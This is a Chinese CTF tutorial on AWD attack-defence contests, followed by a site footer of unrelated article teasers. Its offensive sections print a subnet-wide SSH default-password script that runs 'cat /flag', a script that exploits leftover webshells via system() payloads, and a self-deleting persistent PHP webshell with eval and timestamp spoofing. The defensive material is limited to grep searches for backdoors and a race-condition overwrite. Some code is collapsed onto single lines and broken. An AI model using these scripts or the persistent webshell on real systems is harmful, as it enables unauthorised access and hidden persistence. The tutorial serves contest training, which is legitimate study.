CTF—AWD防御起手式

前言

AWD (Attack With Defence),比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

改SSH密码

官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登录别人的靶机
存在某些队伍忘记修改SSH弱口令,尝试使用python脚本连接获取flag

import paramiko #paramiko是一个用于做远程控制的模块
import threading #threading模块是Python里面常用的线程模块
def ssh2(ip,username,passwd,cmd):try:ssh=paramiko.SSHClient() #创建一个ssh对象ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #自动选择yesssh.connect(ip,22,username,passwd,timeout=0.1) #连接服务器for m in cmd:stdin,stdout,stderr=ssh.exec_command(m) #执行操作out=stdout.readlines() #获取命令执行的结果for o in out:print(o)print('%s\tOK\n'%(ip))ssh.close()except:print('%s\tError\n'%(ip))
if __name__=='__main__':cmd=['cat /flag']username='root'passwd='root'threads=[10]for i in range(149,151):ip='192.168.75.'+str(i)a=threading.Thread(target=ssh2,args=(ip,username,passwd,cmd))a.start()

图片

命令行简单查找后门

  1. find / -name ‘*.php’ | xargs grep -n ‘eval’

  2. find / -name ‘*.php’ | xargs grep -n ‘system’

  3. find / -name ‘*.php’ | xargs grep -n ‘assert’

图片


描述:存在某些队伍靶机检测没有做到位,导致遗留后门,利用python脚本检测并加以利用

import requests
part_url='/shell.php?pass=system(%27cat /flag%27);'
for s in range(149,151):try:ip1='192.168.75.'+str(s)ip='http://'+ip1+part_urlprint(ip)res=requests.get(url=ip,timeout=0.1)if res.status_code!=404:print(ip1)with open('flag.txt','a') as f:f.write(ip1+'   '+res.text)except Exception as e:pass

脚本执行成功后会在当前目录下生成一个flag.txt存储flag

图片


或者使用bash

图片


命令行单独查看

图片

信息收集

nmap探测目标网段存活主机
使用”-r”选项表示不会随机的选择端口扫描

图片

图片

AWD不死马与克制方法

一个简单的不死马
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.config.php';$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){<span class="label label-primary">@eval($_POST[a]);}</span> ?>';//pass=passwhile (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .config.php');usleep(5000);}
?&gt;

在AWD比赛中,不死马对于维持权限十分有效。将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为.config.php的不死马隐藏文件
蚁剑连接

图片

简单介绍一下PHP不死马代码
<?phpignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行,这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行set_time_limit(0); //设置脚本最大执行时间,这里设置为0,即没有时间方面的限制unlink(__FILE__); //删除文件本身,以起到隐蔽自身的作用$file = '.config.php';$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){<span class="label label-primary">@eval($_POST[a]);}</span> ?>'; //进行校验是为了防止自家木马被其他人利用//pass=passwhile (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .3.php');usleep(5000); //while循环中每隔usleep(5000)即写新的后门文件,system命令用于修改文件的创建时间或修改时间,因为在AWD比赛中会有队伍使用find命令查看文件的修改时间}
?&gt;
使用条件竞争写入同名文件进行克制不死马

对于不死马,直接删除脚本是没有用的,因为php执行的时候已经把脚本读进去解释成opcode运行了
关于opcode有:https://www.laruence.com/2008/06/18/221.html
这里使用条件竞争写入同名文件进行克制不死马
可以看到现在.config.php文件内容仍为:

图片


我们上传一个test.php的php文件,注意usleep需要比不死马小,$code修改为无害内容

图片


上传至服务器访问
再次查看.config.php文件内容,可以看到内容已无害

图片

图片

   申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/834945.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何确保个人域名的安全性?

确保个人域名的安全性是网络身份和在线资产保护的重要方面。以下是一些关键措施和最佳实践&#xff0c;可以帮助您提高个人域名的安全性&#xff1a; 选择可靠的域名注册商&#xff1a;选择一个有良好口碑和信誉的域名注册商至关重要。确保注册商提供强大的安全功能&#xff0…

.NET WebService \ WCF \ WebAPI 部署总结 以及 window 服务 调试

一、webservice 部署只能部署IIS上&#xff0c; 比较简单&#xff0c;就不做说明了 二、 WCF 部署 1 部署到IIS 跟部署 webservice 部署方法一样的 wcf 部署2 部署到控制台 要以管理员运行vs&#xff0c;或者 管理员运行 控制台的exe 在控制器项目中 创建IUserInfoService 接口…

资源管理游戏模版进入The Sandbox

我们非常高兴地向您介绍 Game Maker 的最新模板&#xff1a;资源管理游戏&#xff01; 这一全新的模板让您能够深入身临其境的游戏体验中&#xff0c;同时掌握令人兴奋的新机制。通过揭开模板的神秘面纱&#xff0c;您可以锤炼您的游戏设计技能。 什么是资源管理游戏&#xff1…

Hive Aggregation 聚合函数

Hive Aggregation 聚合函数 基础聚合 增强聚合

必备软件管理工具——Applite!!【送源码】

Mac 用户都知道&#xff0c;我们可以通过一个非常好用的一个工具 Homebrew 快速的使用命令下载海量的工具和软件。然而对于非技术人员来说&#xff0c;命令行的交互还是不太方便&#xff0c;如果有界面可以查看从 Homebrew 安装的软件&#xff0c;或者浏览 Homebrew 软件库就好…

抖音直播间怎么涨流量?掌握巨量千川投放技巧拓客事半功倍

抖音直播间作为一种新兴的社交娱乐形式&#xff0c;吸引了越来越多的用户参与和关注。然而&#xff0c;如何在抖音直播间中获得更多的流量和粉丝成为了很多主播面临的挑战。幸运的是&#xff0c;通过掌握巨量千川的投放技巧&#xff0c;拓客事半功倍是可能的。 首先&#xff0c…

Github新手入门使用方法

**存在问题&#xff1a;**新手如何快速入门github&#xff0c;能够下载开源文件&#xff0c;并且修改后更新远程github仓库&#xff1b; 解决方案&#xff1a; 参考&#xff1a; http://www.360doc.com/content/24/0301/12/60419_1115656653.shtml https://blog.csdn.net/gongd…

很多人做的 Google Play 马甲包有啥用

大家或多或少的听说过马甲包&#xff0c;尤其在 Google Play 市场&#xff0c;那么大家为什么上传一堆差不多功能的包到市场呢&#xff1f; 高级一些来说&#xff1a;为了覆盖更多的关键词。 大部分伙伴应该知道&#xff0c;一个应用的核心关键词就是它的标题&#xff0c;标题…

Kafka分级存储概念(一)

Kafka分级存储及实现原理 概述 Kafka社区在3.6版本引入了一个十分重要的特性: 分级存储,本系列文章主要旨在介绍Kafka分级存储的设计理念、设计细节以及具体的代码实现 背景:为什么要有分级存储? 场景 作为一款具有高吞吐及高性能的消息中间件,Kafka被广泛应用在大数据、…

pytorch中统计一个数在tensor中出现了几次

pytorch中统计一个数在tensor中出现了几次 在PyTorch中&#xff0c;可以使用torch.eq()函数配合torch.sum()来统计某个数值在Tensor中出现的次数。torch.eq()函数会返回一个新的Tensor&#xff0c;其中对于每个元素来说&#xff0c;如果和指定的数值相等&#xff0c;则该位置为…

本安防爆手机在电力行业中的应用

在电力行业这一充满挑战与风险的领域中&#xff0c;安全始终是最为首要的考量。电力巡检、维修等作业往往涉及易燃、易爆环境&#xff0c;这就要求工作人员配备能够在极端条件下保障通讯和作业安全的专业设备。防爆手机应运而生&#xff0c;以其独特的设计和卓越的性能&#xf…

百度AMIS前端低代码框架本地部署运行记录

1、下载使用 1.1 前置环境&#xff1a; 软件&#xff1a; 1、visual studio code 官网下载特别慢&#xff0c;本次使用的下载地址是&#xff1a;http://www.downcc.com/soft/230273.html 2、nodejs 下载教程参考&#xff1a;https://www.cnblogs.com/18sui/p/17162016.html …

PyTorch生成随机张量的函数

1、torch.rand() 该函数用于生成一个张量&#xff0c;其中的元素是在区间[0, 1)内均匀分布的随机数 import torchrandom_tensor torch.rand(2, 3) random_like_input torch.rand_like(random_tensor) 2、torch.randn() 该函数生成一个张量&#xff0c;其中的元素是从标准…

js 在一个字符串中查找 从某个字符开始到另一个字符的子字符串

1、在这个例子中&#xff0c;findSubstringBetween函数接收一个字符串str&#xff0c;以及要查找的起始字符startChar和终止字符endChar; 2、函数首先找到startChar的位置&#xff0c;并从该位置加上startChar的长度获取开始子字符串的起始索引; 3、然后从这个起始索引开始&…

Go 多模块工作区处理一个go项目下有多个module(即多个go.mod)的情况

背景 在现在微服务盛行的年代&#xff0c;一个人会维护多个代码仓库&#xff0c;很多的时候是多个仓库进行同时开发&#xff0c;也就是在当前项目下有多个目录&#xff0c;每个目录对应一个微服务&#xff0c;每个微服务都有一个go.mod文件。那么我在其中一个目录下要怎么导入…

L6201PSTR DMOS全桥驱动器

L6201PSTR是采用Multipower-BCD技术实现的电机控制应用的全桥式驱动器&#xff0c;该技术将隔离的DMOS功率晶体管与CMOS和双极电路结合在同一芯片上。通过使用混合技术&#xff0c;可以优化逻辑电路和功率级&#xff0c;以达到最佳性能。DMOS输出晶体管可以在高达42V的电源电压…

如何使用jmeter进行接口测试?jmeter接口测试流程是怎样的

前言 我们学习自动化测试都会用到不同的工具&#xff0c;那么今天笔者呢&#xff0c;想给大家聊聊Jmeter接口测试流程详解&#xff0c;废话不多说直接进入正题。 一、jmeter简介 Jmeter是由Apache公司开发的java开源项目&#xff0c;所以想要使用它必须基于java环境才可以&am…

小阳的戒S笔记

文章目录 写在前面2024年5月8日21:12:172024年5月9日21:48:242024年5月10日08:04:141、记录昨夜之身体变化2、自身制定之计划1.此亦乃要事&#xff0c;特定问了度娘与GPT&#xff0c;找时间还得咨询专业医师。2.通过跑步宣泄&#xff0c;同时锻炼身体3.我不会有压力&#xff0c…

【intro】Graph Isomorphism Network(GIN)

论文 https://arxiv.org/pdf/1810.00826 abstract 图神经网络(gnn)是一种有效的图表示学习框架。gnn采用邻域聚合方案&#xff0c;通过递归聚合和变换相邻节点的表示向量来计算节点的表示向量。已经提出了许多GNN变体&#xff0c;并在节点和图分类任务上取得了最先进的结果。…

【RPC】Dubbo接口测试

关于rpc&#xff0c;推荐看看这篇 &#xff1a; 既然有HTTP协议&#xff0c;为什么还要有RPC 一、Dubbo 是一款alibaba开源的高性能服务框架&#xff1a; 分布式服务框架高性能和透明化的RPC远程服务调用方案SOA服务治理方案 二、Dubbo基础架构 三、 Dubbo接口测试 1、jme…